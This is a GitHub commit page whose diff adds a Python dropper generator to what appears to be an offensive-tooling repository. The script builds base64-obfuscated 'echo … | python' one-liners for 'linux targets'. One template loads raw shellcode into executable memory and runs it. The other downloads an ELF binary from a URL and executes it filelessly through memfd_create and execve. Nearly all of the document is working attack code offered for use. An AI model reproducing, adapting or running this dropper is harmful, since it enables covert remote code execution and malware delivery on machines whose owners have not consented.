Skip to content

Commit

Permalink
dropper generator script
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Jan 26, 2021
1 parent 6225716 commit c171812
Show file tree
Hide file tree
Showing 2 changed files with 121 additions and 51 deletions.
140 changes: 121 additions & 19 deletions dropper/gen.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,24 +4,14 @@
generate a one liner for python based shellcode delivery
'''

# pylint: disable=invalid-name
# pylint: disable=invalid-name, broad-except

import atexit
import base64
import readline
import sys

try:
shellcode_txt = sys.argv[1]
except IndexError:
print(f"usage: {sys.argv[0]} <shellcode file>")
sys.exit(1)

try:
shellcode = open(shellcode_txt).read().strip()
except FileNotFoundError:
print(f"put your shellcode in {shellcode_txt}")
sys.exit(1)

template = f'''
sc_loader_template = '''
import ctypes
import sys
from ctypes.util import find_library
Expand All @@ -31,7 +21,7 @@
MAP_PRIVATE = 0X02
MAP_ANONYMOUS = 0X20
ENOMEM = -1
SHELLCODE = "{shellcode}"
SHELLCODE = "{var_0}"
libc = ctypes.CDLL(find_library('c'))
mmap = libc.mmap
mmap.argtypes = [ctypes.c_void_p, ctypes.c_size_t,
Expand All @@ -43,18 +33,130 @@
cptr = mmap(0, mem_size, PROT_READ | PROT_WRITE |
PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0)
if cptr == ENOMEM:
sys.exit("mmap")
if sc_size <= mem_size:
ctypes.memmove(cptr, SHELLCODE, sc_size)
sc = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p)
call_sc = ctypes.cast(cptr, sc)
call_sc(None)
'''

# download_exec_template = f'''import urllib2;u=urllib2.urlopen('{url}');print(u.read());'''
memfd_exec_loader_template = '''
import ctypes
import urllib2
from ctypes.util import find_library
d = urllib2.urlopen('{var_0}').read()
count = len(d)
# memfd_create
syscall = ctypes.CDLL(None).syscall
syscall.restype = ctypes.c_int
syscall.argtypes = [ctypes.c_long, ctypes.c_char_p, ctypes.c_uint]
fd = syscall(319, '', 0)
# write
syscall.restype = ctypes.c_ssize_t
syscall.argtypes = [ctypes.c_long, ctypes.c_int,
ctypes.c_void_p, ctypes.c_size_t]
res = syscall(1, fd, d, count)
# execve
syscall.restype = ctypes.c_int
syscall.argtypes = [ctypes.c_long, ctypes.c_char_p, ctypes.POINTER(
ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)]
str_arr = ctypes.c_char_p * 2
argv = str_arr()
argv[:] = [{var_1}]
res = syscall(59, "/proc/self/fd/"+str(fd), argv, None)
'''


class Dropper:
'''
Generate a shell command dropper using one of the python2 templates
'''

def __init__(self, dropper):
self.dropper = dropper
self.args = []
self.select_dropper()

payload = base64.b64encode(template.encode("utf-8"))
print(f'''echo "exec('{payload.decode('utf-8')}'.decode('base64'))"|python''')
if self.args is None and '{var_0}' in self.dropper:
print("no args given, the dropper won't work")
i = 0
for var in self.args:
self.dropper = self.dropper.replace('{var_'+str(i)+'}', var)
i += 1

def select_dropper(self):
'''
return the template
'''
if self.dropper == "shellcode":
self.dropper = sc_loader_template
self.config_shellcode_loader()
elif self.dropper == "memfd_exec":
self.dropper = memfd_exec_loader_template
self.config_memfd_exec()

def config_shellcode_loader(self):
'''
shellcode loader code
'''
shellcode = input(
"[?] shellcode hex string (eg. '\\x00\\x01'): ").strip()
self.args.append(shellcode)

def config_memfd_exec(self):
'''
memfd_exec code
'''
url = input("[?] URL to your ELF binary: ").strip()
self.args.append(url)
argv = input(
"[?] argv array to run your ELF (eg. 'ls', '-lah', '/tmp'): ").strip()
self.args.append(argv)

def gen_cmd(self):
'''
generate the cmd for dropping
'''
payload = base64.b64encode(self.dropper.encode("utf-8"))
print(
f'''echo "exec('{payload.decode('utf-8')}'.decode('base64'))"|python''')

print("\n\nRun this one liner on your linux targets")


# usage
try:
dropper_selection = sys.argv[1]
except IndexError:
print(f"{sys.argv[0]} <shellcode/memfd_exec>")
sys.exit(1)


def save(prev_h_len, hfile):
'''
append to histfile
'''
new_h_len = readline.get_current_history_length()
readline.set_history_length(1000)
readline.append_history_file(new_h_len - prev_h_len, hfile)


# support GNU readline interface, command history
histfile = "/tmp/.dropper_gen_history"
try:
readline.read_history_file(histfile)
h_len = readline.get_current_history_length()
except FileNotFoundError:
open(histfile, 'wb').close()
h_len = 0
atexit.register(save, h_len, histfile)

print("\n\nRun this one liner on your linux targets")
# run
dropper_gen = Dropper(dropper_selection)
dropper_gen.gen_cmd()
32 changes: 0 additions & 32 deletions dropper/memfd_exec.py

This file was deleted.

0 comments on commit c171812

Please sign in to comment.